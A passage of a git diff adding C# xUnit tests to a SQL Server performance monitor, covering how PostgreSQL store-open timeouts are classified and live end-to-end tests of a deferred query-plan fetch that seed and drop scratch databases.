+        /* Never queried the target - the RDS log API and Performance Insights are both HTTPS. The third is the
+           RDS endpoint-check arm, which stops before any of those calls and so also spent its time off the target.
+           The fourth is the AWS role arm (#5452): a server's role the service cannot use stops the run before any RDS
+           call, so its time is off the target too. */
+        Assert.Equal(4, Regex.Matches(worker, @"""PERMISSIONS"", 0, 0, runClock\.ElapsedMilliseconds").Count);
 
         /* And exactly ONE arm still writes three zeros: the log_timezone arm, whose two transports
            disagree about which slot is correct, documented at the arm itself. Counted rather than asserted
diff --git a/Darling/Darling.Tests/PostgresOpenTimeoutTests.cs b/Darling/Darling.Tests/PostgresOpenTimeoutTests.cs
new file mode 100644
index 0000000000..b51af8992a
--- /dev/null
+++ b/Darling/Darling.Tests/PostgresOpenTimeoutTests.cs
@@ -0,0 +1,189 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.IO;
+using System.Net.Sockets;
+using System.Threading;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5016: every shape a timed-out store open takes answers "could not get a store connection in time", and
+/// every failure that is not a timeout keeps "could not open a store connection". Each exception below is built
+/// the way Npgsql 10.0.3 builds it (the source file is named on each test), so no socket, timer or sleep is
+/// involved. The silent-store test in <see cref="ComposeOpenPhaseTimeoutTests"/> drives the real driver once;
+/// this class pins the shapes a loaded machine can produce instead of the one a quiet machine usually does.
+/// </summary>
+public sealed class PostgresOpenTimeoutTests
+{
+    private const string InTime = "Error running query: could not get a store connection in time: ";
+    private const string NotOpened = "Error running query: could not open a store connection: ";
+
+    private static string Answer(Exception inner)
+    {
+        var outcome = DarlingWebEndpoints.FromRunException(new DarlingWebEndpoints.ComposeStoreOpenException(inner));
+        Assert.True(outcome.IsServerError);
+        Assert.Null(outcome.AuthorSqlState);
+        return outcome.Error!;
+    }
+
+    private static void AssertTimedOut(Exception inner) => Assert.Equal(InTime + inner.Message, Answer(inner));
+
+    private static void AssertNotATimeout(Exception inner) => Assert.Equal(NotOpened + inner.Message, Answer(inner));
+
+    // ---- timed-out shapes ----
+
+    [Fact] // NpgsqlReadBuffer.cs:362-367, 380-382: a startup or login read whose timer fired
+    public void AStartupReadThatTimedOut_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException("Exception while reading from stream", new TimeoutException("Timeout during reading attempt")));
+
+    [Fact] // NpgsqlWriteBuffer.cs:172-178: a startup send whose timer fired
+    public void AStartupWriteThatTimedOut_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException("Exception while writing to stream", new TimeoutException("Timeout during writing attempt")));
+
+    [Fact] // NpgsqlTimeout.cs:23-27 and ThrowHelper.cs:108-109: the budget was already spent (also the driver's retry after a first attempt)
+    public void ABudgetAlreadySpent_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException("The operation has timed out", new TimeoutException()));
+
+    [Fact] // NpgsqlConnector.cs:1451-1459: the TCP connect did not finish
+    public void ATcpConnectThatTimedOut_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException("Failed to connect to 10.0.0.1:5432", new TimeoutException("Timeout during connection attempt")));
+
+    [Fact] // PoolingDataSource.cs:176-179: the pool wait ended
+    public void APoolWaitThatEnded_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException(
+            "The connection pool has been exhausted, either raise 'Max Pool Size' (currently 100) or 'Timeout' (currently 15 seconds) in your connection string.",
+            new TimeoutException()));
+
+    [Fact] // NpgsqlConnector.cs:812-814 over :362-367: the read timeout inside the GSS step, wrapped once more
+    public void AReadTimeoutWrappedByTheGssStep_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException(
+            "Exception while performing GSS encryption",
+            new NpgsqlException("Exception while reading from stream", new TimeoutException("Timeout during reading attempt"))));
+
+    [Fact] // NpgsqlConnector.cs:1451-1459 with the operating system's error: it gave up before the driver's timer
+    public void ATcpConnectTheOperatingSystemTimedOut_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException("Failed to connect to 10.0.0.1:5432", new SocketException((int)SocketError.TimedOut)));
+
+    [Fact] // NpgsqlReadBuffer.cs:176 and :235: a stream read that failed with the operating system's timed-out error
+    public void AStreamReadTheOperatingSystemTimedOut_IsATimeout() =>
+        AssertTimedOut(new NpgsqlException(
+            "Exception while reading from stream",
+            new IOException(
+                "Unable to read data from the transport connection: A connection attempt failed because the connected party did not properly respond after a period of time.",
+                new SocketException((int)SocketError.TimedOut))));
+
+    [Fact] // NpgsqlDataSource.cs:296-298: the wait for the first-time setup ended; a bare TimeoutException, not an NpgsqlException
+    public void AFirstTimeSetupWaitThatEnded_IsATimeout() =>
+        AssertTimedOut(new TimeoutException());
+
+    // ---- failures that are not timeouts ----
+
+    [Fact] // NpgsqlConnector.cs:1459 over a refused connect
+    public void ARefusedConnection_IsNotATimeout() =>
+        AssertNotATimeout(new NpgsqlException("Failed to connect to 127.0.0.1:5432", new SocketException((int)SocketError.ConnectionRefused)));
+
+    [Fact] // NpgsqlReadBuffer.cs:371: the server reset the connection during startup
+    public void AConnectionTheServerReset_IsNotATimeout() =>
+        AssertNotATimeout(new NpgsqlException(
+            "Exception while reading from stream",
+            new IOException(
+                "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.",
+                new SocketException((int)SocketError.ConnectionReset))));
+
+    [Fact] // NpgsqlReadBuffer.cs:297-298: the server closed the connection (a read of zero bytes)
+    public void AConnectionTheServerClosed_IsNotATimeout() =>
+        AssertNotATimeout(new NpgsqlException("Exception while reading from stream", new EndOfStreamException("Attempted to read past the end of the stream.")));
+
+    [Fact] // NpgsqlConnector.Auth.cs:147: authentication cannot proceed
+    public void AnAuthenticationFailure_IsNotATimeout() =>
+        AssertNotATimeout(new NpgsqlException("No password has been provided but the backend requires one (in SASL/SCRAM-SHA-256)"));
+
+    [Fact] // NpgsqlConnector.cs:1398-1400: the name does not resolve
+    public void ANameThatDoesNotResolve_IsNotATimeout() =>
+        AssertNotATimeout(new NpgsqlException("No such host is known.", new SocketException((int)SocketError.HostNotFound)));
+
+    [Fact] // NpgsqlConnector.cs:366-367: a caller's own cancellation is never the open running out of time
+    public void ACallersCancellation_IsNotATimeout()
+    {
+        using var source = new CancellationTokenSource();
+        source.Cancel();
+        AssertNotATimeout(new NpgsqlException(
+            "Exception while reading from stream",
+            new OperationCanceledException("Query was cancelled", new TimeoutException("Timeout during reading attempt"), source.Token)));
+    }
+
+    [Fact]
+    public void TheHelper_AnswersTheSameAsTheSentence()
+    {
+        Assert.True(PostgresOpenTimeout.IsTimedOutOpen(new TimeoutException()));
+        Assert.True(PostgresOpenTimeout.IsTimedOutOpen(new NpgsqlException("x", new TimeoutException())));
+        Assert.False(PostgresOpenTimeout.IsTimedOutOpen(new OperationCanceledException()));
+        Assert.False(PostgresOpenTimeout.IsTimedOutOpen(new TaskCanceledExceptionStandIn()));
+        Assert.False(PostgresOpenTimeout.IsTimedOutOpen(new NpgsqlException("x", new PostgresException("down", "FATAL", "FATAL", "57P01"))));
+        Assert.False(PostgresOpenTimeout.IsTimedOutOpen(new NpgsqlException("boom")));
+    }
+
+    private sealed class TaskCanceledExceptionStandIn : OperationCanceledException
+    {
+    }
+
+    // ---- #5016 follow-up: the clock decides when the driver's own timer tore the socket down ----
+
+    private static readonly TimeSpan OneSecond = TimeSpan.FromSeconds(1);
+
+    private static NpgsqlException AbortedRead() =>
+        new("Exception while reading from stream",
+            new System.IO.IOException("Unable to read data from the transport connection", new SocketException((int)SocketError.OperationAborted)));
+
+    [Fact] // the shape rules alone do not see this one; that is the gap
+    public void AnAbortedSocketRead_IsNotATimeoutByShape() => Assert.False(PostgresOpenTimeout.IsTimedOutOpen(AbortedRead()));
+
+    [Fact]
+    public void AnAbortedSocketRead_AtTheTimeout_IsATimedOutOpen()
+    {
+        Assert.True(PostgresOpenTimeout.IsTimedOutByClock(AbortedRead(), OneSecond, OneSecond, callerCancelled: false));
+        Assert.True(PostgresOpenTimeout.IsTimedOutByClock(AbortedRead(), TimeSpan.FromMilliseconds(950), OneSecond, callerCancelled: false));
+    }
+
+    [Fact]
+    public void AnAbortedSocketRead_WellBeforeTheTimeout_IsNotATimedOutOpen() =>
+        Assert.False(PostgresOpenTimeout.IsTimedOutByClock(AbortedRead(), TimeSpan.FromMilliseconds(50), OneSecond, callerCancelled: false));
+
+    [Fact]
+    public void AServerReply_AtTheTimeout_IsNotATimedOutOpen() =>
+        Assert.False(PostgresOpenTimeout.IsTimedOutByClock(
+            new NpgsqlException("x", new PostgresException("down", "FATAL", "FATAL", "57P01")), OneSecond, OneSecond, callerCancelled: false));
+
+    [Fact]
+    public void ACallerCancellation_AtTheTimeout_IsNotATimedOutOpen()
+    {
+        Assert.False(PostgresOpenTimeout.IsTimedOutByClock(AbortedRead(), OneSecond, OneSecond, callerCancelled: true));
+        Assert.False(PostgresOpenTimeout.IsTimedOutByClock(new NpgsqlException("x", new OperationCanceledException()), OneSecond, OneSecond, callerCancelled: true));
+    }
+
+    [Fact]
+    public void ANestedCancellation_WithTheCallerLive_AtTheTimeout_IsTheDriversTimer_AndTimedOut()
+    {
+        Assert.True(PostgresOpenTimeout.IsTimedOutByClock(
+            new NpgsqlException("Exception while reading from stream", new OperationCanceledException()), OneSecond, OneSecond, callerCancelled: false));
+        Assert.True(PostgresOpenTimeout.IsTimedOutByClock(
+            new NpgsqlException("x", new System.IO.IOException("io", new OperationCanceledException())), OneSecond, OneSecond, callerCancelled: false));
+    }
+
+    [Fact]
+    public void AnOpenThatFailedAfterTheTimeout_AnswersInTime_AndOneThatDidNotKeepsCouldNotOpen()
+    {
+        var inner = AbortedRead();
+        var late = DarlingWebEndpoints.FromRunException(new DarlingWebEndpoints.ComposeStoreOpenException(inner) { FailedAfterTimeout = true });
+        Assert.Equal(InTime + inner.Message, late.Error);
+        Assert.Equal(NotOpened + inner.Message, Answer(inner));
+    }
+}
diff --git a/Darling/Darling.Tests/PostgresTargetConfigTests.cs b/Darling/Darling.Tests/PostgresTargetConfigTests.cs
index 43f394be2c..1b5174ced6 100644
--- a/Darling/Darling.Tests/PostgresTargetConfigTests.cs
+++ b/Darling/Darling.Tests/PostgresTargetConfigTests.cs
@@ -359,6 +359,10 @@ credential has to be suppliable on a container install with no viewer to type on
                they round-trip in both directions and belong here rather than beside Password's exemption. */
             ("RemediationUsername", "remediation_username"),
             ("RemediationEncryptedPassword", "remediation_encrypted_password"),
+            /* V168 (#5452): the AWS role a target uses and its external ID. Settable from darling.json (seeded into a
+               new row) and read back by the registry read, like the credential above. */
+            ("AwsRoleArn", "aws_role_arn"),
+            ("AwsExternalId", "aws_external_id"),
         };
 
         /* Password is the deliberate exception: a plaintext dev password is never persisted, and is
diff --git a/Darling/Darling.Tests/ProcedureStatsDeferredPlanFetchLiveTests.cs b/Darling/Darling.Tests/ProcedureStatsDeferredPlanFetchLiveTests.cs
new file mode 100644
index 0000000000..fa47e54f5b
--- /dev/null
+++ b/Darling/Darling.Tests/ProcedureStatsDeferredPlanFetchLiveTests.cs
@@ -0,0 +1,519 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5158 end to end for <c>procedure_stats</c>: the deferred plan fetch and its shadow mode, with a real SQL Server as
+/// the monitored target and a real PostgreSQL as the store (gated on DARLING_TEST_PG and DARLING_TEST_SQL, with the
+/// optional DARLING_TEST_SQL_USER / DARLING_TEST_SQL_PASSWORD).
+///
+/// <para>Each test seeds its own scratch database with a few stored procedures, executes each so a full plan is
+/// cached, and restricts the collector to that database, so the plan counts below are exactly the scratch modules.
+/// Plans are counted by the run's <c>plans_rendered</c> measurement, which also reaches the run's collection-log
+/// note together with the <c>deferred_*</c> counters.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ProcedureStatsDeferredPlanFetchLiveTests
+{
+    private const string SkipReason = "Set DARLING_TEST_PG and DARLING_TEST_SQL to run the procedure_stats deferred plan fetch end-to-end tests.";
+
+    /// <summary>Three simple procedures, a data table, and a procedure whose second branch compiles only when first taken.</summary>
+    private const string SeedProcedures = @"
+CREATE TABLE dbo.pm_data (k int NOT NULL, v int NOT NULL);
+INSERT dbo.pm_data (k, v) SELECT TOP (200) 1, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) FROM sys.all_columns;
+GO
+CREATE PROCEDURE dbo.pm_a AS BEGIN SELECT COUNT_BIG(*) AS a1 FROM sys.objects; SELECT COUNT_BIG(*) AS a2 FROM sys.columns; END;
+GO
+CREATE PROCEDURE dbo.pm_b AS BEGIN SELECT COUNT_BIG(*) AS b1 FROM sys.indexes; END;
+GO
+CREATE PROCEDURE dbo.pm_s AS BEGIN SELECT COUNT_BIG(*) AS s1 FROM dbo.pm_data AS x JOIN dbo.pm_data AS y ON y.v = x.v WHERE x.k = 1; END;
+GO
+CREATE PROCEDURE dbo.pm_d @branch int AS
+BEGIN
+    IF @branch = 0 SELECT COUNT_BIG(*) AS d1 FROM sys.types;
+    ELSE SELECT COUNT_BIG(*) AS d2 FROM sys.schemas;
+END;";
+
+    private static (string Pg, string SqlHost, string? SqlUser, string? SqlPassword) Env()
+    {
+        var pg = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        var sql = Environment.GetEnvironmentVariable("DARLING_TEST_SQL");
+        Assert.SkipWhen(string.IsNullOrEmpty(pg) || string.IsNullOrEmpty(sql), SkipReason);
+        return (pg!, sql!, Environment.GetEnvironmentVariable("DARLING_TEST_SQL_USER"), Environment.GetEnvironmentVariable("DARLING_TEST_SQL_PASSWORD"));
+    }
+
+    private sealed class Rig : IAsyncDisposable
+    {
+        public required NpgsqlDataSource Store { get; init; }
+        public required ServerRuntime Server { get; init; }
+        public required string Database { get; init; }
+        public required string PgConnectionString { get; init; }
+
+        public async ValueTask DisposeAsync() => await Store.DisposeAsync();
+    }
+
+    /// <summary>
+    /// Builds the rig on the scratch database <paramref name="database"/>. The caller picks the name and owns the drop (#5158),
+    /// because a throw after the CREATE below never returns a rig, so only the caller's own teardown can find the database.
+    /// </summary>
+    private static async Task<Rig> StartAsync(string name, string database, CancellationToken ct)
+    {
+        var (pg, sqlHost, user, password) = Env();
+
+        await using (var admin = new SqlConnection(Connect(sqlHost, user, password, "master")))
+        {
+            await admin.OpenAsync(ct);
+            await Exec(admin, "CREATE DATABASE [" + database + "];", ct);
+        }
+
+        await using (var seed = new SqlConnection(Connect(sqlHost, user, password, database)))
+        {
+            await seed.OpenAsync(ct);
+            foreach (var batch in SeedProcedures.Split("GO", StringSplitOptions.RemoveEmptyEntries))
+            {
+                await Exec(seed, batch, ct);
+            }
+
+            await ExecuteAsync(seed, ct, "pm_a", "pm_b", "pm_s");
+            await ExecuteAsync(seed, ct, "pm_d 0");
+        }
+
+        var others = new List<string>();
+        await using (var list = new SqlConnection(Connect(sqlHost, user, password, "master")))
+        {
+            await list.OpenAsync(ct);
+            using var command = new SqlCommand("SELECT name FROM sys.databases WHERE name <> @d", list);
+            command.Parameters.AddWithValue("@d", database);
+            await using var reader = await command.ExecuteReaderAsync(ct);
+            while (await reader.ReadAsync(ct))
+            {
+                others.Add(reader.GetString(0));
+            }
+        }
+
+        var config = new MonitoredServer
+        {
+            Name = name + "-" + Guid.NewGuid().ToString("N")[..6],
+            Host = sqlHost,
+            Auth = string.IsNullOrEmpty(user) ? "integrated" : "sql",
+            Username = user,
+            Password = password,
+            TrustServerCertificate = true,
+            ExcludedDatabases = others,
+        };
+
+        var store = NpgsqlDataSource.Create(pg);
+        try
+        {
+            await using (var migrate = await store.OpenConnectionAsync(ct))
+            {
+                await PgMigrations.MigrateAsync(migrate, ct);
+            }
+
+            return new Rig
+            {
+                Store = store,
+                Server = await DarlingServerConnector.ConnectAsync(config, null, ct),
+                Database = database,
+                PgConnectionString = pg,
+            };
+        }
+        catch
+        {
+            // No rig reaches the caller, so nothing else would dispose this store and its pooled connection.
+            await store.DisposeAsync();
+            throw;
+        }
+    }
+
+    private static string Connect(string host, string? user, string? password, string database)
+    {
+        var builder = new SqlConnectionStringBuilder
+        {
+            DataSource = host,
+            InitialCatalog = database,
+            TrustServerCertificate = true,
+            Encrypt = SqlConnectionEncryptOption.Optional,
+            ConnectTimeout = 15,
+        };
+        if (string.IsNullOrEmpty(user))
+        {
+            builder.IntegratedSecurity = true;
+        }
+        else
+        {
+            builder.UserID = user;
+            builder.Password = password;
+        }
+
+        return builder.ConnectionString;
+    }
+
+    private static async Task Exec(SqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new SqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    /// <summary>Executes each procedure twice, so each caches a full compiled plan rather than an ad hoc stub.</summary>
+    private static async Task ExecuteAsync(SqlConnection connection, CancellationToken ct, params string[] calls)
+    {
+        foreach (var call in calls)
+        {
+            for (var i = 0; i < 2; i++)
+            {
+                using var command = new SqlCommand("EXEC dbo." + call, connection) { CommandTimeout = 120 };
+                await using var reader = await command.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct)) { }
+            }
+        }
+    }
+
+    /// <summary>
+    /// Drops the scratch database on the monitored side, and skips one that was never created (setup can throw before or at
+    /// the CREATE). A drop failure surfaces only when the body succeeded.
+    /// </summary>
+    private static async Task DropScratchDatabaseAsync(string database, bool bodySucceeded)
+    {
+        try
+        {
+            var (_, sqlHost, user, password) = Env();
+            await using var admin = new SqlConnection(Connect(sqlHost, user, password, "master"));
+            await admin.OpenAsync(CancellationToken.None);
+            await Exec(admin, "IF DB_ID(N'" + database + "') IS NOT NULL BEGIN ALTER DATABASE [" + database
+                + "] SET SINGLE_USER WITH ROLLBACK IMMEDIATE; DROP DATABASE [" + database + "]; END;", CancellationToken.None);
+        }
+        catch when (!bodySucceeded)
+        {
+        }
+    }
+
+    private static async Task DeleteStoredRowsAsync(NpgsqlConnection cleanup, int serverId, CancellationToken cleanupCt)
+    {
+        foreach (var table in new[] { "procedure_stats", "collection_log" })
+        {
+            using var command = new NpgsqlCommand("DELETE FROM " + table + " WHERE server_id = $1", cleanup);
+            command.Parameters.AddWithValue(serverId);
+            await command.ExecuteNonQueryAsync(cleanupCt);
+        }
+    }
+
+    /// <summary>A measurement of the run, or -1 when the run did not emit it.</summary>
+    private static long Measured(CollectorRunResult result, string label) =>
+        result.Measurements.Any(m => m.Label == label) ? result.Measurements.First(m => m.Label == label).Value : -1;
+
+    private static DarlingCollectorRunner NewRunner(NpgsqlDataSource store, string mode, int planCycleInterval = 1, ILogger? logger = null) =>
+        new(store, new CollectorDeltaCalculator(), logger, capturePlans: () => true,
+            procedureStatsPlanCycleInterval: () => planCycleInterval, procedureStatsDeferredPlanFetch: () => mode);
+
+    private sealed record StoredRow(string Object, bool HasDigest, bool PlanResolves, long? Bytes);
+
+    /// <summary>The scratch modules' stored rows: digest present, plan reachable (inline or through the dimension), size.</summary>
+    private static async Task<List<StoredRow>> StoredAsync(Rig rig, CancellationToken ct)
+    {
+        await using var connection = await rig.Store.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(
+            "SELECT p.object_name, p.query_plan_digest IS NOT NULL, "
+            + "(COALESCE(p.query_plan_xml, '') <> '' OR d.query_plan_xml IS NOT NULL OR d.query_plan_gz IS NOT NULL), p.query_plan_xml_bytes "
+            + "FROM procedure_stats p LEFT JOIN query_plan_dim d ON d.digest = p.query_plan_digest "
+            + "WHERE p.server_id = $1 AND p.database_name = $2 AND p.object_name LIKE 'pm\\_%' ORDER BY p.collection_time, p.object_name", connection);
+        command.Parameters.AddWithValue(rig.Server.ServerId);
+        command.Parameters.AddWithValue(rig.Database);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var rows = new List<StoredRow>();
+        while (await reader.ReadAsync(ct))
+        {
+            rows.Add(new StoredRow(reader.GetString(0), reader.GetBoolean(1), reader.GetBoolean(2), reader.IsDBNull(3) ? null : reader.GetInt64(3)));
+        }
+
+        return rows;
+    }
+
+    /// <summary>
+    /// The note a run carries: the value the worker writes to the collection log's note column (<c>CollectorRunResult.Note</c>
+    /// is exactly that column's content), so the counters are readable from the store without host access.
+    /// </summary>
+    private static string NoteOf(CollectorRunResult result) => result.Note ?? "";
+
+    private static async Task WithRigAsync(string name, Func<Rig, string, CancellationToken, Task> body)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (_, sqlHost, user, password) = Env();
+
+        /* #5158: the scratch name exists before anything is created and the try opens before the CREATE, so a throw anywhere
+           in setup (the create, the seeding, the store migration, the connector) still reaches this finally and drops the
+           database. The drop skips a database that was never created, and the PostgreSQL rows exist only once a rig does. */
+        var database = "pm5158p_" + Guid.NewGuid().ToString("N")[..10];
+        Rig? rig = null;
+        var ok = false;
+        try
+        {
+            rig = await StartAsync(name, database, ct);
+            await body(rig, Connect(sqlHost, user, password, database), ct);
+            ok = true;
+        }
+        finally
+        {
+            // The rig (and its store) is disposed last, as its await using did before; a null rig has nothing to dispose.
+            await using (rig)
+            {
+                await DropScratchDatabaseAsync(database, ok);
+                if (rig is not null)
+                {
+                    await LiveStoreCleanup.RunAsync(rig.PgConnectionString, ok, async (cleanup, cleanupCt) =>
+                        await DeleteStoredRowsAsync(cleanup, rig.Server.ServerId, cleanupCt));
+                }
+            }
+        }
+    }
+
+    private static async Task ExecOnTargetAsync(string targetConnectionString, CancellationToken ct, string sql, params string[] calls)
+    {
+        await using var target = new SqlConnection(targetConnectionString);
+        await target.OpenAsync(ct);
+        if (sql.Length > 0)
+        {
+            await Exec(target, sql, ct);
+        }
+
+        if (calls.Length > 0)
+        {
+            await ExecuteAsync(target, ct, calls);
+        }
+    }
+
+    [Fact]
+    public Task On_CycleTwoRendersNothing_AndTheRowsCarryTheDigest() => WithRigAsync("pm5158p-two", async (rig, _, ct) =>
+    {
+        var runner = NewRunner(rig.Store, "on");
+
+        var first = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.True(first.Rows >= 4, "four scratch procedures, one row each");
+        Assert.True(Measured(first, "plans_rendered") >= 4, "a cold cache renders every module plan");
+
+        var second = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.True(second.Rows >= 4);
+        Assert.Equal(0, Measured(second, "plans_rendered"));
+        Assert.Equal(0, Measured(second, "plans_rendered_bytes"));
+        Assert.True(Measured(second, "deferred_hit") >= 4);
+
+        var stored = await StoredAsync(rig, ct);
+        Assert.True(stored.Count >= 8);
+        Assert.All(stored, row =>
+        {
+            Assert.True(row.HasDigest, "every row, reused or rendered, carries the plan digest");
+            Assert.True(row.PlanResolves, "and resolves its plan through the dimension");
+            Assert.True(row.Bytes > 0, "reused rows keep the measured plan size");
+        });
+
+        var note = NoteOf(second);
+        Assert.Contains("plans_rendered=0", note, StringComparison.Ordinal);
+        Assert.Contains("deferred_hit=", note, StringComparison.Ordinal);
+    });
+
+    [Fact]
+    public Task On_TheCadenceGateStillDecidesWhenMissesRender_AndHitsCarryTheirDigestOnEveryCycle() => WithRigAsync("pm5158p-gate", async (rig, _, ct) =>
+    {
+        var runner = NewRunner(rig.Store, "on", planCycleInterval: 2);
+        var runs = new List<CollectorRunResult>();
+        for (var i = 0; i < 6; i++)
+        {
+            runs.Add(await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct));
+        }
+
+        var firstCapture = runs.FindIndex(r => Measured(r, "plans_rendered") > 0);
+        Assert.InRange(firstCapture, 0, 1); /* every other cycle may capture */
+
+        /* A gated cycle with a cold cache renders nothing and ships no plan, as the gate always did. */
+        for (var i = 0; i < firstCapture; i++)
+        {
+            Assert.Equal(0, Measured(runs[i], "plans_rendered"));
+            Assert.True(Measured(runs[i], "deferred_miss") >= 4);
+            Assert.Equal(0, Measured(runs[i], "deferred_hit"));
+        }
+
+        /* After the capture every cycle, gated or not, renders nothing and its hits carry the digest. */
+        for (var i = firstCapture + 1; i < runs.Count; i++)
+        {
+            Assert.Equal(0, Measured(runs[i], "plans_rendered"));
+            Assert.True(Measured(runs[i], "deferred_hit") >= 4);
+        }
+
+        var stored = await StoredAsync(rig, ct);
+        Assert.True(stored.Count(r => r.HasDigest) >= 4 * (runs.Count - firstCapture), "hits on gated cycles carry the digest");
+        Assert.True(stored.Count(r => !r.HasDigest && !r.PlanResolves) >= 4 * firstCapture, "gated cold cycles ship no plan");
+    });
+
+    [Fact]
+    public Task On_AStatementCompiledForTheFirstTime_ChangesTheFingerprint_AndIsRenderedAgain() => WithRigAsync("pm5158p-new", async (rig, target, ct) =>
+    {
+        var runner = NewRunner(rig.Store, "on");
+        await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        var warm = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.Equal(0, Measured(warm, "plans_rendered"));
+
+        /* pm_d's second branch compiles the first time it is taken: same plan handle, same cached_time, one more statement
+           in the module's plan. A key without the fingerprint would hit and keep the old plan's digest. */
+        await ExecOnTargetAsync(target, ct, "", "pm_d 1");
+
+        var changed = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.Equal(1, Measured(changed, "plans_rendered"));
+        Assert.True(Measured(changed, "deferred_miss") >= 1);
+    });
+
+    [Fact]
+    public Task On_AStatementRecompiledInPlace_ChangesTheFingerprint_AndIsRenderedAgain() => WithRigAsync("pm5158p-recomp", async (rig, target, ct) =>
+    {
+        var runner = NewRunner(rig.Store, "on");
+        await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        var warm = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.Equal(0, Measured(warm, "plans_rendered"));
+
+        /* New statistics make the next execution recompile pm_s's one statement inside the cached module plan. */
+        await ExecOnTargetAsync(
+            target, ct,
+            "INSERT dbo.pm_data (k, v) SELECT TOP (5000) 2, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) FROM sys.all_columns AS a CROSS JOIN sys.all_columns AS b; UPDATE STATISTICS dbo.pm_data WITH FULLSCAN;",
+            "pm_s");
+
+        var changed = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.Equal(1, Measured(changed, "plans_rendered"));
+    });
+
+    [Fact]
+    public Task Shadow_OnAnUnchangedModule_CountsWouldHits_AndNoFalseHit_AndWritesWhatOffWrites() => WithRigAsync("pm5158p-shadow", async (rig, _, ct) =>
+    {
+        var log = new CapturingTestLogger();
+        var runner = NewRunner(rig.Store, "shadow", logger: log);
+
+        var first = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.Equal(0, Measured(first, "deferred_would_hit"));
+        Assert.True(Measured(first, "deferred_miss") >= 4);
+        Assert.True(Measured(first, "plans_rendered") >= 4, "shadow renders inline, exactly as off");
+
+        var second = await runner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        Assert.True(Measured(second, "deferred_would_hit") >= 4);
+        Assert.Equal(0, Measured(second, "deferred_false_hit"));
+        Assert.True(Measured(second, "plans_rendered") >= 4, "shadow still renders every plan");
+
+        var stored = await StoredAsync(rig, ct);
+        Assert.All(stored, row => Assert.True(row.PlanResolves, "shadow stores every row's plan inline, as off does"));
+
+        var note = NoteOf(second);
+        Assert.Contains("deferred_would_hit=", note, StringComparison.Ordinal);
+        Assert.Contains("deferred_false_hit=0", note, StringComparison.Ordinal);
+        Assert.Contains("plans_rendered=", note, StringComparison.Ordinal);
+        Assert.Contains(log.Lines, line => line.Contains("deferred: would_hit=", StringComparison.Ordinal) && line.Contains("false_hit=0", StringComparison.Ordinal));
+        Assert.Equal(0, log.CountAtLevel(LogLevel.Warning));
+    });
+
+    /// <summary>Every stored column of the scratch modules' rows as JSON, minus the ones that differ by nature between two runs.</summary>
+    private static async Task<Dictionary<long, (string Object, string Json)>> StoredColumnsAsync(Rig rig, CancellationToken ct)
+    {
+        await using var connection = await rig.Store.OpenConnectionAsync(ct);
+        using var command = new NpgsqlCommand(
+            "SELECT collection_id, object_name, (to_jsonb(p) - 'collection_id' - 'collection_time')::text "
+            + "FROM procedure_stats p WHERE p.server_id = $1 AND p.database_name = $2 AND p.object_name LIKE 'pm\\_%'", connection);
+        command.Parameters.AddWithValue(rig.Server.ServerId);
+        command.Parameters.AddWithValue(rig.Database);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var rows = new Dictionary<long, (string, string)>();
+        while (await reader.ReadAsync(ct))
+        {
+            rows[reader.GetInt64(0)] = (reader.GetString(1), reader.GetString(2));
+        }
+
+        return rows;
+    }
+
+    [Fact]
+    public Task Shadow_StoresExactlyTheColumnsOffStores_ForTheSameProcedures() => WithRigAsync("pm5158p-equal", async (rig, _, ct) =>
+    {
+        /* One cycle in off, then one in shadow, each from a fresh runner (so each has an empty cache and a fresh delta
+           baseline), over procedures nothing runs in between. */
+        var offRunner = NewRunner(rig.Store, "off");
+        await offRunner.RunAsync(ProcedureStatsCollector.Instance, rig.Server, ct);
+        var offRows = await StoredColumnsAsync(rig, ct);
+        Assert.True(offRows.Count >= 4, "four scratch procedures in the off cycle");
+
+        var shadowRunner = NewRunner(rig.Store, "shadow");
